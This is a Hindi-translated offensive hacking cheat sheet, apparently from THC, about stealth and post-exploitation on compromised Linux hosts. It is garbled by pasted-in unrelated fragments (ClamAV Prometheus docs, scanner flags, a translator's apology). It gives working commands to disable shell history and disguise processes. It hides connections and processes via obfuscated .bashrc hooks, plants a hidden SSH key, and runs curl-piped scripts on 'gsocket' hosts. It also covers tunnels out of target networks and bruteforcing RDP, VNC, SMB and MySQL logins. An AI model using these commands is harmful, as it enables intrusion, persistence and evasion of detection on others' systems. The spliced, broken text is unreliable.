वैकल्पिक URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell बहुत कुछ और करता है, लेकिन सबसे महत्वपूर्ण बात यह है:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

बोनस टिप:
कोई भी कमांड जो " " (स्पेस) से शुरू होती है, वह भी [हिस्ट्री में लॉग नहीं होगी](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)।```
$  id

बैकग्राउंड में एक 'nmap' को '/usr/sbin/sshd' के रूप में छिपाकर प्रारंभ करें:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

वैकल्पिक रूप से, बाइनरी को नए नाम से कॉपी करें:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. अपने कमांड लाइन विकल्प छिपाएँ**

[zapper](https://github.com/hackerschoice/zapper) का उपयोग करें:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. नेटवर्क कनेक्शन छिपाना**

ट्रिक यह है कि `netstat` को हाईजैक करें और अपने कनेक्शन को फ़िल्टर करने के लिए grep का उपयोग करें। यह उदाहरण पोर्ट 31337 _या_ आईपी 1.2.3.4 पर किसी भी कनेक्शन को फ़िल्टर करता है। यही `ss` (एक netstat विकल्प) के लिए भी किया जाना चाहिए।

**विधि 1 - ~/.bashrc में bash-फ़ंक्शन के साथ कनेक्शन छिपाना**

~/.bashrc में लाइन जोड़ने के लिए इसे काटें और पेस्ट करें```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

~/.bashrc के लिए अस्पष्ट प्रविष्टि इस प्रकार दिखेगी:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(धन्यवाद iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. एक प्रक्रिया को उपयोगकर्ता के रूप में छिपाएँ**

"Hiding a connection" से आगे बढ़ते हुए, उसी तकनीक का उपयोग किसी प्रक्रिया को छिपाने के लिए किया जा सकता है। यह उदाहरण nmap प्रक्रिया को छिपाता है और साथ ही यह भी ध्यान रखता है कि हमारा `grep` प्रक्रिया सूची में दिखाई न दे, उसे GREP में नाम बदलकर:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

कमांड छिपाने के लिए उपयोग करें:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(यही बात `lsof`, `ss` और `ls` पर भी लागू होती है)

<a id="cat"></a>
**1.viii. cat से छिपाना**

ANSI escape वर्ण या एक साधारण `\r` ([कैरिज रिटर्न](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) का उपयोग `cat` और अन्य से छिपाने के लिए किया जा सकता है।

`~/.bashrc` में अंतिम कमांड (उदाहरण: `id`) छिपाएँ:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

`\r` (कैरिज रिटर्न) जोड़ना आपकी ssh कुंजी को `cat` से छिपाने में काफी कारगर साबित होता है:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` का उपयोग अंतर्निहित शेल को अंतिम प्रक्रिया (nmap) से बदलने के लिए किया जाता है। यह वैकल्पिक है लेकिन चल रहे/अनुपयोगी शेल बाइनरी की संख्या कम कर देता है।
- `${SLOT}` में 0..19 के बीच एक मान होता है। यह "कार्य संख्या" है। हम इसका उपयोग nmap-परिणामों को 20 अलग-अलग फ़ाइलों में लिखने के लिए करते हैं।

40 वर्कर्स का उपयोग करके सभी [gsocket](https://www.gsocket.io/deploy) होस्ट्स पर [Linpeas](https://github.com/carlospolop/PEASS-ng) निष्पादित करें:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

PTY और रंगों के साथ पूर्ण आराम का अनुभव करें: `xssh [email protected]````sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

ऊपर दिए गए उसी (एकल) Master-TCP कनेक्शन का उपयोग करके आगे shell-sessions बनाएँ (कोई पासवर्ड/auth आवश्यक नहीं):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

अब आप या कोई और आपके कंप्यूटर से पोर्ट 31337 पर कनेक्ट कर सकता है और 1.2.3.4 पोर्ट 80 पर टनल हो सकता है तथा 'server.org' के स्रोत IP के साथ प्रकट हो सकता है। बिना सर्वर की आवश्यकता के एक विकल्प [gs-netcat](#backdoor-network) का उपयोग करना है।

चतुर हैकर्स इन टनलों को बिना SSH को दोबारा कनेक्ट किए गतिशील रूप से बनाने के लिए कीबोर्ड संयोजन `~C` का उपयोग करते हैं। (धन्यवाद MessedeDegod)।

हम इसका उपयोग किसी मित्र को उस आंतरिक मशीन तक पहुंच देने के लिए करते हैं जो सार्वजनिक इंटरनेट पर नहीं है:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

अब अपने ब्राउज़र को 127.0.0.1:1080 पर SOCKS उपयोग करने के लिए कॉन्फ़िगर करें। आपका सारा ट्रैफ़िक अब *server.org* के माध्यम से टनल होगा और *server.org* के स्रोत IP के साथ दिखाई देगा। एक विकल्प, जिसमें किसी सर्वर की आवश्यकता नहीं होती, [gs-netcat](#backdoor-network) का उपयोग करना है।

यह उपरोक्त उदाहरण का उल्टा है। यह दूसरों को आपके *स्थानीय* नेटवर्क तक पहुँच प्रदान करता है या दूसरों को आपके कंप्यूटर को टनल एंड-पॉइंट के रूप में उपयोग करने देता है।```sh
ssh -g -R 1080 [email protected]

फिर दुनिया में कहीं और से इस कमांड का उपयोग करके 'root' के रूप में 'foobarblahblub' (NAT के पीछे स्थित होस्ट) से कनेक्ट करें:```sh
ssh -J [email protected] root@foobarblahblub

> हम किसी भी कंप्यूटर पर `ssh` नहीं चलाते, केवल अपने विश्वसनीय वर्कस्टेशन पर - और न ही आपको (कभी) चलाना चाहिए।

यहीं ProxyJump मदद करता है: हम दो मध्यवर्ती सर्वरों $C2 और $internal-jumphost के माध्यम से 'कूद' सकते हैं (उन सर्वरों पर शेल शुरू किए बिना)। ssh-कनेक्शन हमारे $local-kali और $target-host के बीच एंड-2-एंड एन्क्रिप्टेड होता है और कोई पासवर्ड या कुंजी $C2 या $internal-jumphost को उजागर नहीं होती।```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

यदि आप डेबियन-आधारित सिस्टम पर हैं, तो आप बस चला सकते हैं:```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

इनपुट:```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

[bore.pub](https://github.com/ekzhang/bore) का उपयोग करना (मुफ्त):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

का उपयोग करके [pinggy.io](https://www.pinggy.io) (60 मिनट मुफ्त):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

कोई भी सेवा आपके उपयोग के लिए एक नया अस्थायी HTTPS-URL उत्पन्न करेगी।  

फिर, HTTPS URL के माध्यम से रॉ TCP को टनल करने के लिए दोनों सिरों पर [websocat](https://github.com/vi/websocat) या [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) का उपयोग करें:

A. HTTPS के माध्यम से एक सरल STDIN/STDOUT पाइप:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

पोर्ट 2222 को सर्वर के पोर्ट 22 पर फ़ॉरवर्ड करें।```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

अधिक: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) और [Cloudflare के माध्यम से किसी भी TCP सेवा के लिए टनल](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) और [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c iptables के साथ ट्रैफ़िक बाउंस करना**

बिना किसी userland प्रॉक्सी या फ़ॉरवर्डर को चलाने की ज़रूरत के, किसी होस्ट/राउटर के माध्यम से बाउंस करें:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

हम इस तरकीब का उपयोग फ़ायरवॉल वाले नेटवर्कों के अंदर से gsocket-relay-network (या TOR) तक पहुँचने के लिए करते हैं।```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

यह निम्नलिखित के साथ संयोजन में भी काम करता है:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): आपके ROOT सर्वर को TARGET NETWORK से जोड़ेगा और लक्ष्य नेटवर्क के अंदर एक Ghost IP का उपयोग करेगा।
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): जैसा ऊपर है, लेकिन कम सुरक्षित।

---
<a id="tunnel-more"></a>
**3.vi.d विभिन्न टनल ट्रिक्स**

### CDN के माध्यम से टनल
 * [CloudFlare के माध्यम से किसी भी TCP सेवा को टनल कैसे करें](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) पढ़ें, या [DarkFlare](https://github.com/doxx/darkflare) का उपयोग करें।

### अपने होस्ट को सीधे रिमोट नेटवर्क से कनेक्ट करें
 * [WireTap](https://github.com/sandialabs/wiretap) - उपयोगकर्ता या root के रूप में काम करता है। ट्रांसपोर्ट के रूप में UDP का उपयोग करता है। ([इसे आज़माएँ](https://thc.org/segfault/wireguard) segfault पर।)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - ट्रांसपोर्ट के रूप में TCP का उपयोग करता है। [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) या gs-netcat के माध्यम से अच्छी तरह काम करता है।

### Cloudflare के माध्यम से SSH को एक सस्ते रिवर्स प्रॉक्सी के रूप में उपयोग करें

यह विधि [HTTPS reverse tunnels](#https) के समान है, लेकिन Gost या websocat के बजाय SSH का उपयोग करती है।
- लाभ: लक्ष्य पर केवल *cloudflared* और *SSH* का उपयोग करता है।
- नुकसान: इसके लिए CF सदस्यता आवश्यक है।

 1. अपने CF डैशबोर्ड पर जाएँ -> Zero Trust -> Networks -> Tunnels
 2. किसी भी नाम का एक नया 'Cloudflared' टनल बनाएँ।
 3. Debian और 64-bit चुनें। Token पूरी तरह से नहीं दिखाया जाता है। पूरा Token प्रकट करने के लिए ग्रे किए गए क्षेत्र को एक अलग दस्तावेज़ में कॉपी करके 'Token' निकालें (`sudo cloudflared service install <TunnelTokenHere>` के बाद आने वाले लंबे hex-स्ट्रिंग्स)।
 4. एक सबडोमेन जोड़ें (उदाहरण `ssh.team-teso.net` का उपयोग करता है)।
 5. Type=TCP URL=localhost:22 सेट करें।```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

* docker run -v /path/to/aclog-directory-with-results:/usr/app/reports/converted/:Z ghcr.io/flexibleir/aclog convert --to-hunt```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

अपने वर्कस्टेशन पर:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### GrafTCP का उपयोग:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

किसी भी IP पते के बारे में जियोलोकेशन जानकारी प्राप्त करें:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

जाँचें कि TOR काम कर रहा है:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. किसी IP पर खुले पोर्ट की जाँच/स्कैन करें**

[Censys](https://search.censys.io/) या [Shodan](https://internetdb.shodan.io) पोर्ट लुकअप सेवा:```shell
curl https://internetdb.shodan.io/1.1.1.1

खुले TCP पोर्ट स्कैन करें:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. पासवर्ड हैश क्रैक करें**

 1. [NTLM2password](https://ntlm.pw/) NTLM पासवर्ड क्रैक (लुकअप) करने के लिए
 2. [wpa-sec](https://wpa-sec.stanev.org) WPA PSK पासवर्ड क्रैक (लुकअप) करने के लिए

बाकी सबके लिए HashCat हमारा मुख्य टूल है:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

OpenSSH के `known_hosts` हैश को क्रैक करके IP पता प्रकट करें:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(आप अपना [खुद का EXIT node](https://www.thc.org/segfault/wireguard) उपयोग करना चाह सकते हैं)

उपकरण:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [दस्तावेज़](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - लक्ष्य IP रेंज पर सभी ssh कुंजियों को आज़माने के लिए बढ़िया।

यूज़रनेम और पासवर्ड सूचियाँ:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THC का पसंदीदा<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


**U**sername/**P**assword सूची और **T**arget होस्ट सेट करें।```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

उपयोगी **Ncrack** पैरामीटर:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

अंत में, सत्यापित करें कि वेबहुक काम कर रहा है और पूरी तरह से सेट अप हो गया है:

```shell
kubectl logs -n flux-system deployment/webhook-receiver
``````shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

<!-- No content provided for translation. -->```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

* [Prometheus](#prometheus)

### Prometheus

clamonacc, clamd, और freshclam ने `clamav-unofficial-sigs` परियोजना के माध्यम से पहले से ही `clamav_prometheus` लक्ष्य का समर्थन किया था। हालाँकि, `Clamaviscious` परियोजना (जिसे [यहाँ](https://github.com/Valian/Clamaviscious) पाया जा सकता है) एक उत्कृष्ट Prometheus निर्यातक प्रदान करती है।

Prometheus मेट्रिक्स डिफ़ॉल्ट रूप से अलग-अलग ClamAV प्रक्रियाओं से निर्यात नहीं किए जाते हैं। ये मेट्रिक्स केवल तब उपलब्ध होते हैं जब एक्ज़ीक्यूटेबल `clamav-prometheus` फ्लेवर के साथ Docker में चल रहे हों। `clamav-prometheus` फ्लेवर चलाने से REST API सर्वर भी शुरू होता है जो Prometheus को स्क्रैप करने के लिए मेट्रिक्स को उजागर करता है। `clamav-prometheus` इमेज में `clamav_server` इमेज की सभी क्षमताएँ हैं, साथ ही मेट्रिक्स खींचने के लिए REST API भी है।

उपलब्ध मेट्रिक्स की एक तालिका देखने के लिए [ClamAV दस्तावेज़](https://docs.clamav.net/manual/Usage/Docker.html#prometheus-metrics) देखें, जिसमें निर्यात किए गए प्रत्येक मेट्रिक का विवरण भी है।

> :information_source: नोट: वर्तमान में DockerHub `clamav-prometheus` इमेज को ClamD शुरू करने के लिए `clamav_server` फ्लेवर की आवश्यकता होती है। यह एक सीमा के कारण है जिसे भविष्य की सुविधा रिलीज़ में हल किया जाएगा।```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

- **`--live`** - यह फ़्लैग `--force` के साथ अतिरिक्त रूप से प्रयोग किया जा सकता है ताकि दिए गए एंडपॉइंट पर सीधे जीवंतता जांच चलाई जा सके। दिए गए एंडपॉइंट का उपयोग HTTP अनुरोधों को चलाने और प्रतिक्रियाओं को एकत्र करने के लिए किया जाएगा ताकि यह विश्लेषण किया जा सके कि वे काम करते हैं या नहीं।

- **`--passive`** - **पैसिव स्रोतों का उपयोग करता है** (जैसे खोज इंजन और सार्वजनिक डेटाबेस) एंडपॉइंट प्राप्त करने के लिए, और फिर उनसे जुड़ता है। यह उपकरण कभी भी लक्ष्य से सीधे कनेक्ट नहीं होगा, बल्कि तीसरे पक्षों के माध्यम से लक्ष्य के बारे में जानकारी प्राप्त करेगा, प्रतिक्रियाओं, पृष्ठों और डेटा का विश्लेषण करके।

- **`--ecosystem`** - आपको एक इकोसिस्टम फ़ाइल/भेद्यता चेतावनी पृष्ठ के अंदर लक्ष्यों को स्कैन करने देता है। उदाहरण के लिए, आप npm के लिए [`package.json`](https://docs.npmjs.com/cli/v10/configuring-npm/package-json) या अपने प्रोजेक्ट में निर्भरता खोजने के लिए एक [`pom.xml`](https://maven.apache.org/pom.html#Introduction) फ़ाइल पास कर सकते हैं। आप एक dependabot या GitHub सलाहकार घटक पृष्ठ URL भी पास कर सकते हैं।

- **`-o, --output`** - **परिणामों को एक फ़ाइल में लिखता है**।

- **`-f, --format`** - यह फ़्लैग फ़ाइल के लिए आउटपुट स्वरूप निर्दिष्ट कर सकता है। `txt` स्वरूप के अतिरिक्त, `json`, `jsonl`, `csv`, `md` और एक आकर्षक `html` रिपोर्ट भी उपलब्ध है।

- **`--config`** - ProxyFleet कई सेटिंग्स के साथ आता है, जिन्हें [कॉन्फ़िगरेशन फ़ाइल](https://github.com/wealeson1/ProxyFleet/blob/main/README.md#configuration) में देखा जा सकता है। आप इस फ़्लैग का उपयोग ProxyFleet को एक कस्टम कॉन्फ़िगरेशन फ़ाइल (YAML प्रारूप में) पास करने के लिए कर सकते हैं। आप पर्यावरण चर का उपयोग करके किसी भी मान को सेट कर सकते हैं।

- **`--auth`** - स्कैन के लिए प्रमाणीकरण विकल्पों को कॉन्फ़िगर करता है। यह फ़्लैग आपको यह कॉन्फ़िगर करने की अनुमति देने के लिए डिज़ाइन किया गया है कि ProxyFleet को लक्ष्य एप्लिकेशन से कैसे प्रमाणित होना चाहिए (वर्तमान में केवल `raw` रणनीति का समर्थन करता है जो `'Cookie'` हेडर का उपयोग करती है)।

- **`--vault`** - (वैकल्पिक) - **ProjectDiscovery के क्लाउड प्लेटफ़ॉर्म** के साथ स्कैन को प्रमाणित करें ताकि अधिक पैसिव स्रोतों, अधिक API कुंजियों और दर सीमाओं से बचने तक पहुँच प्राप्त की जा सके।```shell
## SMB (windows)
nmap --script smb-brute "$T"

I apologize, but I don't see any source content to translate. The input after "INPUT:" is empty. Please provide the actual Markdown content for chunk 188 of 494, and I'll translate it from English to Hindi according to your rules.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

Chisel: HTTP पर तेज़ TCP/UDP टनल, SSH के माध्यम से सुरक्षित```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

#### >>> UU एन्कोड/डिकोड```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. फ़ाइल स्थानांतरण - *tmux* का उपयोग करते हुए

अपने वर्कस्टेशन पर `tmux` प्रारंभ करें। अपने लक्ष्य से किसी भी पसंदीदा माध्यम से जुड़ें (ssh, gs-netcat, ...)।

#### रिमोट से लोकल तक (डाउनलोड)

बड़ी फ़ाइलों को लक्ष्य से टर्मिनल के माध्यम से अपने वर्कस्टेशन पर डाउनलोड करने के लिए [Tmux-Logging](#tmux) का उपयोग करें।

#### लोकल से रिमोट तक (अपलोड)

रिमोट पर अपना पसंदीदा डिकोडिंग टूल (base64) प्रारंभ करें:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. फ़ाइल स्थानांतरण - *screen* का उपयोग करना

#### रिमोट से लोकल में (डाउनलोड)

अपने लोकल कंप्यूटर पर एक *screen* चलाएँ और अपने शेल के भीतर से रिमोट सिस्टम में लॉग इन करें। अपनी लोकल screen को सभी आउटपुट screen-xfer.txt में लॉग करने के लिए निर्देश दें:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

हम अपने डेटा को एन्कोड करने के लिए *openssl* का उपयोग करते हैं लेकिन उपरोक्त कोई भी एन्कोडिंग विधि काम करती है। यह कमांड base64 एन्कोडेड डेटा को टर्मिनल में प्रदर्शित करेगा और *screen* इस डेटा को *screen-xfer.txt* में लिखेगा:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### LOCAL से REMOTE तक (अपलोड)

अपने स्थानीय सिस्टम पर डेटा एन्कोड करें:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

*screen* को बेस64 एन्कोडेड डेटा को अपने क्लिपबोर्ड में डालने दें और फिर डेटा को क्लिपबोर्ड से रिमोट सिस्टम पर पेस्ट करें:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

नोट: [openssl में बग](https://github.com/openssl/openssl/issues/9355) के कारण दो CTRL-d आवश्यक हैं।

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. फ़ाइल स्थानांतरण - gs-netcat और sftp का उपयोग करना

[gs-netcat](https://github.com/hackerschoice/gsocket) का उपयोग करें और sftp प्रोटोकॉल को इसके भीतर एनकैप्सुलेट करें। यह NAT/Firewall के पीछे मौजूद होस्ट्स तक पहुंच की अनुमति देता है।```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

या एक फ़ाइल को DUMP करने के लिए:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

प्राप्तकर्ता: किसी भी ब्राउज़र से URL एक्सेस करके दूरस्थ फ़ाइल सिस्टम देखें/डाउनलोड करें।

#### 1 - PHP का उपयोग करके अपलोड करें:

प्राप्तकर्ता पर:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - PYTHON का उपयोग करके अपलोड करें:

रिसीवर पर:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. curl के बिना फ़ाइल डाउनलोड

Python का उपयोग करके, केवल डाउनलोड करें:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
